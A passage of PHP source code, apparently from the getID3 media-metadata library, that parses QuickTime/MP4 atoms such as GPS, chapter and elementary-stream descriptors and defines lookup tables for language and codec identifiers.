										$GPS_this_GPRMC['variation'] *= (($GPS_this_GPRMC['raw']['variation_direction'] == 'W') ? -1 : 1);
									}

									$atom_structure['gps_entries'][$key] = $GPS_this_GPRMC;

									@$info['quicktime']['gps_track'][$GPS_this_GPRMC['timestamp']] = array(
										'latitude'  => (float) $GPS_this_GPRMC['latitude'],
										'longitude' => (float) $GPS_this_GPRMC['longitude'],
										'speed_kmh' => (float) $GPS_this_GPRMC['speed_kmh'],
										'heading'   => (float) $GPS_this_GPRMC['heading'],
									);

								} else {
									$this->warning('Unhandled GPS format in "free" atom at offset '.$gps_pointer['offset']);
								}
							}
							$this->fseek($previous_offset);

						} else {
							$this->warning('QuickTime atom "'.$atomname.'" is not mod-8 bytes long ('.$atomsize.' bytes) at offset '.$baseoffset);
						}
					} else {
						$this->warning('QuickTime atom "'.$atomname.'" is zero bytes long at offset '.$baseoffset);
					}
					break;

				case 'loci':// 3GP location (El Loco)
					$loffset = 0;
					$info['quicktime']['comments']['gps_flags']     = array(  getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)));
					$info['quicktime']['comments']['gps_lang']      = array(  getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)));
					$info['quicktime']['comments']['gps_location']  = array(          $this->LociString(substr($atom_data, 6), $loffset));
					$loci_data = substr($atom_data, 6 + $loffset);
					$info['quicktime']['comments']['gps_role']      = array(  getid3_lib::BigEndian2Int(substr($loci_data, 0, 1)));
					$info['quicktime']['comments']['gps_longitude'] = array(getid3_lib::FixedPoint16_16(substr($loci_data, 1, 4)));
					$info['quicktime']['comments']['gps_latitude']  = array(getid3_lib::FixedPoint16_16(substr($loci_data, 5, 4)));
					$info['quicktime']['comments']['gps_altitude']  = array(getid3_lib::FixedPoint16_16(substr($loci_data, 9, 4)));
					$info['quicktime']['comments']['gps_body']      = array(          $this->LociString(substr($loci_data, 13           ), $loffset));
					$info['quicktime']['comments']['gps_notes']     = array(          $this->LociString(substr($loci_data, 13 + $loffset), $loffset));
					break;

				case 'chpl': // CHaPter List
					// https://www.adobe.com/content/dam/Adobe/en/devnet/flv/pdfs/video_file_format_spec_v10.pdf
					$chpl_version = getid3_lib::BigEndian2Int(substr($atom_data, 4, 1)); // Expected to be 0
					$chpl_flags   = getid3_lib::BigEndian2Int(substr($atom_data, 5, 3)); // Reserved, set to 0
					$chpl_count   = getid3_lib::BigEndian2Int(substr($atom_data, 8, 1));
					$chpl_offset = 9;
					for ($i = 0; $i < $chpl_count; $i++) {
						if (($chpl_offset + 9) >= strlen($atom_data)) {
							$this->warning('QuickTime chapter '.$i.' extends beyond end of "chpl" atom');
							break;
						}
						$info['quicktime']['chapters'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 8)) / 10000000; // timestamps are stored as 100-nanosecond units
						$chpl_offset += 8;
						$chpl_title_size = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 1));
						$chpl_offset += 1;
						$info['quicktime']['chapters'][$i]['title']     =                           substr($atom_data, $chpl_offset, $chpl_title_size);
						$chpl_offset += $chpl_title_size;
					}
					break;

				case 'FIRM': // FIRMware version(?), seen on GoPro Hero4
					$info['quicktime']['camera']['firmware'] = $atom_data;
					break;

				case 'CAME': // FIRMware version(?), seen on GoPro Hero4
					$info['quicktime']['camera']['serial_hash'] = unpack('H*', $atom_data);
					break;

				case 'dscp':
				case 'rcif':
					// https://www.getid3.org/phpBB3/viewtopic.php?t=1908
					if (substr($atom_data, 0, 7) == "\x00\x00\x00\x00\x55\xC4".'{') {
						if ($json_decoded = @json_decode(rtrim(substr($atom_data, 6), "\x00"), true)) {
							$info['quicktime']['camera'][$atomname] = $json_decoded;
							if (($atomname == 'rcif') && isset($info['quicktime']['camera']['rcif']['wxcamera']['rotate'])) {
								$info['video']['rotate'] = $info['quicktime']['video']['rotate'] = $info['quicktime']['camera']['rcif']['wxcamera']['rotate'];
							}
						} else {
							$this->warning('Failed to JSON decode atom "'.$atomname.'"');
							$atom_structure['data'] = $atom_data;
						}
						unset($json_decoded);
					} else {
						$this->warning('Expecting 55 C4 7B at start of atom "'.$atomname.'", found '.getid3_lib::PrintHexBytes(substr($atom_data, 4, 3)).' instead');
						$atom_structure['data'] = $atom_data;
					}
					break;

				case 'frea':
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					// may contain "scra" (PreviewImage) and/or "thma" (ThumbnailImage)
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
					break;
				case 'tima': // subatom to "frea"
					// no idea what this does, the one sample file I've seen has a value of 0x00000027
					$atom_structure['data'] = $atom_data;
					break;
				case 'ver ': // subatom to "frea"
					// some kind of version number, the one sample file I've seen has a value of "3.00.073"
					$atom_structure['data'] = $atom_data;
					break;
				case 'thma': // subatom to "frea" -- "ThumbnailImage"
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					if (strlen($atom_data) > 0) {
						$info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'ThumbnailImage');
					}
					break;
				case 'scra': // subatom to "frea" -- "PreviewImage"
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					// but the only sample file I've seen has no useful data here
					if (strlen($atom_data) > 0) {
						$info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'PreviewImage');
					}
					break;

				case 'cdsc': // timed metadata reference
					// A QuickTime movie can contain none, one, or several timed metadata tracks. Timed metadata tracks can refer to multiple tracks.
					// Metadata tracks are linked to the tracks they describe using a track-reference of type 'cdsc'. The metadata track holds the 'cdsc' track reference.
					$atom_structure['track_number'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'esds': // Elementary Stream DeScriptor
					// https://github.com/JamesHeinrich/getID3/issues/414
					// https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.cc
					// https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.h
					$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1)); // hardcoded: 0x00
					$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x000000
					$esds_offset = 4;

					$atom_structure['ES_DescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DescrTag'] != 0x03) {
						$this->warning('expecting esds.ES_DescrTag = 0x03, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_DescrTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DescrSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_ID'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
					$esds_offset += 2;
					$atom_structure['ES_flagsraw'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					$atom_structure['ES_flags']['stream_dependency'] = (bool) ($atom_structure['ES_flagsraw'] & 0x80);
					$atom_structure['ES_flags']['url_flag']          = (bool) ($atom_structure['ES_flagsraw'] & 0x40);
					$atom_structure['ES_flags']['ocr_stream']        = (bool) ($atom_structure['ES_flagsraw'] & 0x20);
					$atom_structure['ES_stream_priority']            =        ($atom_structure['ES_flagsraw'] & 0x1F);
					if ($atom_structure['ES_flags']['url_flag']) {
						$this->warning('Unsupported esds.url_flag enabled at offset '.$atom_structure['offset']);
						break;
					}
					if ($atom_structure['ES_flags']['stream_dependency']) {
						$atom_structure['ES_dependsOn_ES_ID'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
						$esds_offset += 2;
					}
					if ($atom_structure['ES_flags']['ocr_stream']) {
						$atom_structure['ES_OCR_ES_Id'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
						$esds_offset += 2;
					}

					$atom_structure['ES_DecoderConfigDescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DecoderConfigDescrTag'] != 0x04) {
						$this->warning('expecting esds.ES_DecoderConfigDescrTag = 0x04, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_DecoderConfigDescrTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DecoderConfigDescrTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_objectTypeIndication'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					// https://stackoverflow.com/questions/3987850
					// 0x40 = "Audio ISO/IEC 14496-3"                       = MPEG-4 Audio
					// 0x67 = "Audio ISO/IEC 13818-7 LowComplexity Profile" = MPEG-2 AAC LC
					// 0x69 = "Audio ISO/IEC 13818-3"                       = MPEG-2 Backward Compatible Audio (MPEG-2 Layers 1, 2, and 3)
					// 0x6B = "Audio ISO/IEC 11172-3"                       = MPEG-1 Audio (MPEG-1 Layers 1, 2, and 3)

					$streamTypePlusFlags = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					$atom_structure['ES_streamType'] =        ($streamTypePlusFlags & 0xFC) >> 2;
					$atom_structure['ES_upStream']   = (bool) ($streamTypePlusFlags & 0x02) >> 1;
					$atom_structure['ES_bufferSizeDB'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 3));
					$esds_offset += 3;
					$atom_structure['ES_maxBitrate'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 4));
					$esds_offset += 4;
					$atom_structure['ES_avgBitrate'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 4));
					$esds_offset += 4;
					if ($atom_structure['ES_avgBitrate']) {
						$info['quicktime']['audio']['bitrate'] = $atom_structure['ES_avgBitrate'];
						$info['audio']['bitrate']              = $atom_structure['ES_avgBitrate'];
					}

					$atom_structure['ES_DecSpecificInfoTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DecSpecificInfoTag'] != 0x05) {
						$this->warning('expecting esds.ES_DecSpecificInfoTag = 0x05, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_DecSpecificInfoTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DecSpecificInfoTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_DecSpecificInfo'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, $atom_structure['ES_DecSpecificInfoTagSize']));
					$esds_offset += $atom_structure['ES_DecSpecificInfoTagSize'];

					$atom_structure['ES_SLConfigDescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_SLConfigDescrTag'] != 0x06) {
						$this->warning('expecting esds.ES_SLConfigDescrTag = 0x05, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_SLConfigDescrTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_SLConfigDescrTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_SLConfigDescr'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, $atom_structure['ES_SLConfigDescrTagSize']));
					$esds_offset += $atom_structure['ES_SLConfigDescrTagSize'];
					break;

// AVIF-related - https://docs.rs/avif-parse/0.13.2/src/avif_parse/boxes.rs.html
				case 'pitm': // Primary ITeM
				case 'iloc': // Item LOCation
				case 'iinf': // Item INFo
				case 'iref': // Image REFerence
				case 'iprp': // Image PRoPerties
$this->error('AVIF files not currently supported');
					$atom_structure['data'] = $atom_data;
					break;

				case 'tfdt': // Track Fragment base media Decode Time box
				case 'tfhd': // Track Fragment HeaDer box
				case 'mfhd': // Movie Fragment HeaDer box
				case 'trun': // Track fragment RUN box
$this->error('fragmented mp4 files not currently supported');
					$atom_structure['data'] = $atom_data;
					break;

				case 'mvex': // MoVie EXtends box
				case 'pssh': // Protection System Specific Header box
				case 'sidx': // Segment InDeX box
				default:
					$this->warning('Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).'), '.$atomsize.' bytes at offset '.$baseoffset);
					$atom_structure['data'] = $atom_data;
					break;
			}
		}
		array_pop($atomHierarchy);
		return $atom_structure;
	}

	/**
	 * @param string $atom_data
	 * @param int    $baseoffset
	 * @param array  $atomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
	public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		$atom_structure = array();
		$subatomoffset  = 0;
		$subatomcounter = 0;
		if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) {
			return false;
		}
		while ($subatomoffset < strlen($atom_data)) {
			$subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4));
			$subatomname =                           substr($atom_data, $subatomoffset + 4, 4);
			$subatomdata =                           substr($atom_data, $subatomoffset + 8, $subatomsize - 8);
			if ($subatomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				if (strlen($atom_data) > 12) {
					$subatomoffset += 4;
					continue;
				}
				break;
			}
			if (strlen($subatomdata) < ($subatomsize - 8)) {
			    // we don't have enough data to decode the subatom.
			    // this may be because we are refusing to parse large subatoms, or it may be because this atom had its size set too large
			    // so we passed in the start of a following atom incorrectly?
			    break;
			}
			$atom_structure[$subatomcounter++] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms);
			$subatomoffset += $subatomsize;
		}

		if (empty($atom_structure)) {
			return false;
		}

		return $atom_structure;
	}

	/**
	 * @param string $data
	 * @param int    $offset
	 *
	 * @return int
	 */
	public function quicktime_read_mp4_descr_length($data, &$offset) {
		// http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
		$num_bytes = 0;
		$length    = 0;
		do {
			$b = ord(substr($data, $offset++, 1));
			$length = ($length << 7) | ($b & 0x7F);
		} while (($b & 0x80) && ($num_bytes++ < 4));
		return $length;
	}

	/**
	 * @param int $languageid
	 *
	 * @return string
	 */
	public function QuicktimeLanguageLookup($languageid) {
		// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353
		static $QuicktimeLanguageLookup = array();
		if (empty($QuicktimeLanguageLookup)) {
			$QuicktimeLanguageLookup[0]     = 'English';
			$QuicktimeLanguageLookup[1]     = 'French';
			$QuicktimeLanguageLookup[2]     = 'German';
			$QuicktimeLanguageLookup[3]     = 'Italian';
			$QuicktimeLanguageLookup[4]     = 'Dutch';
			$QuicktimeLanguageLookup[5]     = 'Swedish';
			$QuicktimeLanguageLookup[6]     = 'Spanish';
			$QuicktimeLanguageLookup[7]     = 'Danish';
			$QuicktimeLanguageLookup[8]     = 'Portuguese';
			$QuicktimeLanguageLookup[9]     = 'Norwegian';
			$QuicktimeLanguageLookup[10]    = 'Hebrew';
			$QuicktimeLanguageLookup[11]    = 'Japanese';
			$QuicktimeLanguageLookup[12]    = 'Arabic';
			$QuicktimeLanguageLookup[13]    = 'Finnish';
			$QuicktimeLanguageLookup[14]    = 'Greek';
			$QuicktimeLanguageLookup[15]    = 'Icelandic';
			$QuicktimeLanguageLookup[16]    = 'Maltese';
			$QuicktimeLanguageLookup[17]    = 'Turkish';
			$QuicktimeLanguageLookup[18]    = 'Croatian';
			$QuicktimeLanguageLookup[19]    = 'Chinese (Traditional)';
			$QuicktimeLanguageLookup[20]    = 'Urdu';
			$QuicktimeLanguageLookup[21]    = 'Hindi';
			$QuicktimeLanguageLookup[22]    = 'Thai';
			$QuicktimeLanguageLookup[23]    = 'Korean';
			$QuicktimeLanguageLookup[24]    = 'Lithuanian';
			$QuicktimeLanguageLookup[25]    = 'Polish';
			$QuicktimeLanguageLookup[26]    = 'Hungarian';
			$QuicktimeLanguageLookup[27]    = 'Estonian';
			$QuicktimeLanguageLookup[28]    = 'Lettish';
			$QuicktimeLanguageLookup[28]    = 'Latvian';
			$QuicktimeLanguageLookup[29]    = 'Saamisk';
			$QuicktimeLanguageLookup[29]    = 'Lappish';
			$QuicktimeLanguageLookup[30]    = 'Faeroese';
			$QuicktimeLanguageLookup[31]    = 'Farsi';
			$QuicktimeLanguageLookup[31]    = 'Persian';
			$QuicktimeLanguageLookup[32]    = 'Russian';
			$QuicktimeLanguageLookup[33]    = 'Chinese (Simplified)';
			$QuicktimeLanguageLookup[34]    = 'Flemish';
			$QuicktimeLanguageLookup[35]    = 'Irish';
			$QuicktimeLanguageLookup[36]    = 'Albanian';
			$QuicktimeLanguageLookup[37]    = 'Romanian';
			$QuicktimeLanguageLookup[38]    = 'Czech';
			$QuicktimeLanguageLookup[39]    = 'Slovak';
			$QuicktimeLanguageLookup[40]    = 'Slovenian';
			$QuicktimeLanguageLookup[41]    = 'Yiddish';
			$QuicktimeLanguageLookup[42]    = 'Serbian';
			$QuicktimeLanguageLookup[43]    = 'Macedonian';
			$QuicktimeLanguageLookup[44]    = 'Bulgarian';
			$QuicktimeLanguageLookup[45]    = 'Ukrainian';
			$QuicktimeLanguageLookup[46]    = 'Byelorussian';
			$QuicktimeLanguageLookup[47]    = 'Uzbek';
			$QuicktimeLanguageLookup[48]    = 'Kazakh';
			$QuicktimeLanguageLookup[49]    = 'Azerbaijani';
			$QuicktimeLanguageLookup[50]    = 'AzerbaijanAr';
			$QuicktimeLanguageLookup[51]    = 'Armenian';
			$QuicktimeLanguageLookup[52]    = 'Georgian';
			$QuicktimeLanguageLookup[53]    = 'Moldavian';
			$QuicktimeLanguageLookup[54]    = 'Kirghiz';
			$QuicktimeLanguageLookup[55]    = 'Tajiki';
			$QuicktimeLanguageLookup[56]    = 'Turkmen';
			$QuicktimeLanguageLookup[57]    = 'Mongolian';
			$QuicktimeLanguageLookup[58]    = 'MongolianCyr';
			$QuicktimeLanguageLookup[59]    = 'Pashto';
			$QuicktimeLanguageLookup[60]    = 'Kurdish';
			$QuicktimeLanguageLookup[61]    = 'Kashmiri';
			$QuicktimeLanguageLookup[62]    = 'Sindhi';
			$QuicktimeLanguageLookup[63]    = 'Tibetan';
			$QuicktimeLanguageLookup[64]    = 'Nepali';
			$QuicktimeLanguageLookup[65]    = 'Sanskrit';
			$QuicktimeLanguageLookup[66]    = 'Marathi';
			$QuicktimeLanguageLookup[67]    = 'Bengali';
			$QuicktimeLanguageLookup[68]    = 'Assamese';
			$QuicktimeLanguageLookup[69]    = 'Gujarati';
			$QuicktimeLanguageLookup[70]    = 'Punjabi';
			$QuicktimeLanguageLookup[71]    = 'Oriya';
			$QuicktimeLanguageLookup[72]    = 'Malayalam';
			$QuicktimeLanguageLookup[73]    = 'Kannada';
			$QuicktimeLanguageLookup[74]    = 'Tamil';
			$QuicktimeLanguageLookup[75]    = 'Telugu';
			$QuicktimeLanguageLookup[76]    = 'Sinhalese';
			$QuicktimeLanguageLookup[77]    = 'Burmese';
			$QuicktimeLanguageLookup[78]    = 'Khmer';
			$QuicktimeLanguageLookup[79]    = 'Lao';
			$QuicktimeLanguageLookup[80]    = 'Vietnamese';
			$QuicktimeLanguageLookup[81]    = 'Indonesian';
			$QuicktimeLanguageLookup[82]    = 'Tagalog';
			$QuicktimeLanguageLookup[83]    = 'MalayRoman';
			$QuicktimeLanguageLookup[84]    = 'MalayArabic';
			$QuicktimeLanguageLookup[85]    = 'Amharic';
			$QuicktimeLanguageLookup[86]    = 'Tigrinya';
			$QuicktimeLanguageLookup[87]    = 'Galla';
			$QuicktimeLanguageLookup[87]    = 'Oromo';
			$QuicktimeLanguageLookup[88]    = 'Somali';
			$QuicktimeLanguageLookup[89]    = 'Swahili';
			$QuicktimeLanguageLookup[90]    = 'Ruanda';
			$QuicktimeLanguageLookup[91]    = 'Rundi';
			$QuicktimeLanguageLookup[92]    = 'Chewa';
			$QuicktimeLanguageLookup[93]    = 'Malagasy';
			$QuicktimeLanguageLookup[94]    = 'Esperanto';
			$QuicktimeLanguageLookup[128]   = 'Welsh';
			$QuicktimeLanguageLookup[129]   = 'Basque';
			$QuicktimeLanguageLookup[130]   = 'Catalan';
			$QuicktimeLanguageLookup[131]   = 'Latin';
			$QuicktimeLanguageLookup[132]   = 'Quechua';
			$QuicktimeLanguageLookup[133]   = 'Guarani';
			$QuicktimeLanguageLookup[134]   = 'Aymara';
			$QuicktimeLanguageLookup[135]   = 'Tatar';
			$QuicktimeLanguageLookup[136]   = 'Uighur';
			$QuicktimeLanguageLookup[137]   = 'Dzongkha';
			$QuicktimeLanguageLookup[138]   = 'JavaneseRom';
			$QuicktimeLanguageLookup[32767] = 'Unspecified';
		}
		if (($languageid > 138) && ($languageid < 32767)) {
			/*
			ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php
			Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field.
			The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate
			these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero.

			One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character
			and multiply by 2^10 (0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character,
			and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least
			significant bits and the most significant bit set to zero.
			*/
			$iso_language_id  = '';
			$iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60);
			$iso_language_id .= chr((($languageid & 0x03E0) >>  5) + 0x60);
			$iso_language_id .= chr((($languageid & 0x001F) >>  0) + 0x60);
			$QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id);
		}
		return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid');
	}

	/**
	 * @param string $codecid
	 *
	 * @return string
	 */
	public function QuicktimeVideoCodecLookup($codecid) {
		static $QuicktimeVideoCodecLookup = array();
		if (empty($QuicktimeVideoCodecLookup)) {
			$QuicktimeVideoCodecLookup['.SGI'] = 'SGI';
			$QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1';
			$QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2';
			$QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4';
			$QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB';
			$QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC';
			$QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG';
			$QuicktimeVideoCodecLookup['b16g'] = '16Gray';
			$QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray';
			$QuicktimeVideoCodecLookup['b48r'] = '48RGB';
			$QuicktimeVideoCodecLookup['b64a'] = '64ARGB';
			$QuicktimeVideoCodecLookup['base'] = 'Base';
			$QuicktimeVideoCodecLookup['clou'] = 'Cloud';
			$QuicktimeVideoCodecLookup['cmyk'] = 'CMYK';
			$QuicktimeVideoCodecLookup['cvid'] = 'Cinepak';
			$QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG';
			$QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC';
			$QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL';
			$QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC';
			$QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL';
			$QuicktimeVideoCodecLookup['fire'] = 'Fire';
			$QuicktimeVideoCodecLookup['flic'] = 'FLC';
			$QuicktimeVideoCodecLookup['gif '] = 'GIF';
			$QuicktimeVideoCodecLookup['h261'] = 'H261';
			$QuicktimeVideoCodecLookup['h263'] = 'H263';
			$QuicktimeVideoCodecLookup['hvc1'] = 'H.265/HEVC';
			$QuicktimeVideoCodecLookup['IV41'] = 'Indeo4';
			$QuicktimeVideoCodecLookup['jpeg'] = 'JPEG';
			$QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD';
			$QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A';
			$QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B';
			$QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1';
			$QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420';
			$QuicktimeVideoCodecLookup['path'] = 'Vector';
			$QuicktimeVideoCodecLookup['png '] = 'PNG';
			$QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint';
			$QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX';
			$QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw';
			$QuicktimeVideoCodecLookup['raw '] = 'RAW';
			$QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple';
			$QuicktimeVideoCodecLookup['rpza'] = 'Video';
			$QuicktimeVideoCodecLookup['smc '] = 'Graphics';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3';
			$QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9';
			$QuicktimeVideoCodecLookup['tga '] = 'Targa';
			$QuicktimeVideoCodecLookup['tiff'] = 'TIFF';
			$QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW';
			$QuicktimeVideoCodecLookup['WRLE'] = 'BMP';
			$QuicktimeVideoCodecLookup['y420'] = 'YUV420';
			$QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo';
			$QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned';
			$QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned';
		}
		return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : '');
	}

	/**
	 * @param string $codecid
	 *
	 * @return mixed|string
	 */
	public function QuicktimeAudioCodecLookup($codecid) {
		static $QuicktimeAudioCodecLookup = array();
		if (empty($QuicktimeAudioCodecLookup)) {
			$QuicktimeAudioCodecLookup['.mp3']          = 'Fraunhofer MPEG Layer-III alias';
			$QuicktimeAudioCodecLookup['aac ']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['agsm']          = 'Apple GSM 10:1';
			$QuicktimeAudioCodecLookup['alac']          = 'Apple Lossless Audio Codec';
			$QuicktimeAudioCodecLookup['alaw']          = 'A-law 2:1';
			$QuicktimeAudioCodecLookup['conv']          = 'Sample Format';
			$QuicktimeAudioCodecLookup['dvca']          = 'DV';
			$QuicktimeAudioCodecLookup['dvi ']          = 'DV 4:1';
			$QuicktimeAudioCodecLookup['eqal']          = 'Frequency Equalizer';
			$QuicktimeAudioCodecLookup['fl32']          = '32-bit Floating Point';
			$QuicktimeAudioCodecLookup['fl64']          = '64-bit Floating Point';
			$QuicktimeAudioCodecLookup['ima4']          = 'Interactive Multimedia Association 4:1';
			$QuicktimeAudioCodecLookup['in24']          = '24-bit Integer';
			$QuicktimeAudioCodecLookup['in32']          = '32-bit Integer';
			$QuicktimeAudioCodecLookup['lpc ']          = 'LPC 23:1';
			$QuicktimeAudioCodecLookup['MAC3']          = 'Macintosh Audio Compression/Expansion (MACE) 3:1';
			$QuicktimeAudioCodecLookup['MAC6']          = 'Macintosh Audio Compression/Expansion (MACE) 6:1';
			$QuicktimeAudioCodecLookup['mixb']          = '8-bit Mixer';
			$QuicktimeAudioCodecLookup['mixw']          = '16-bit Mixer';
			$QuicktimeAudioCodecLookup['mp4a']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM';
			$QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA';
			$QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III';
			$QuicktimeAudioCodecLookup['NONE']          = 'No Encoding';
			$QuicktimeAudioCodecLookup['Qclp']          = 'Qualcomm PureVoice';
			$QuicktimeAudioCodecLookup['QDM2']          = 'QDesign Music 2';
			$QuicktimeAudioCodecLookup['QDMC']          = 'QDesign Music 1';
			$QuicktimeAudioCodecLookup['ratb']          = '8-bit Rate';
			$QuicktimeAudioCodecLookup['ratw']          = '16-bit Rate';
			$QuicktimeAudioCodecLookup['raw ']          = 'raw PCM';
			$QuicktimeAudioCodecLookup['sour']          = 'Sound Source';
			$QuicktimeAudioCodecLookup['sowt']          = 'signed/two\'s complement (Little Endian)';
			$QuicktimeAudioCodecLookup['str1']          = 'Iomega MPEG layer II';
			$QuicktimeAudioCodecLookup['str2']          = 'Iomega MPEG *layer II';
			$QuicktimeAudioCodecLookup['str3']          = 'Iomega MPEG **layer II';
			$QuicktimeAudioCodecLookup['str4']          = 'Iomega MPEG ***layer II';
			$QuicktimeAudioCodecLookup['twos']          = 'signed/two\'s complement (Big Endian)';
			$QuicktimeAudioCodecLookup['ulaw']          = 'mu-law 2:1';
		}
		return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : '');
	}

	/**
	 * @param string $compressionid
	 *
	 * @return string
	 */
	public function QuicktimeDCOMLookup($compressionid) {
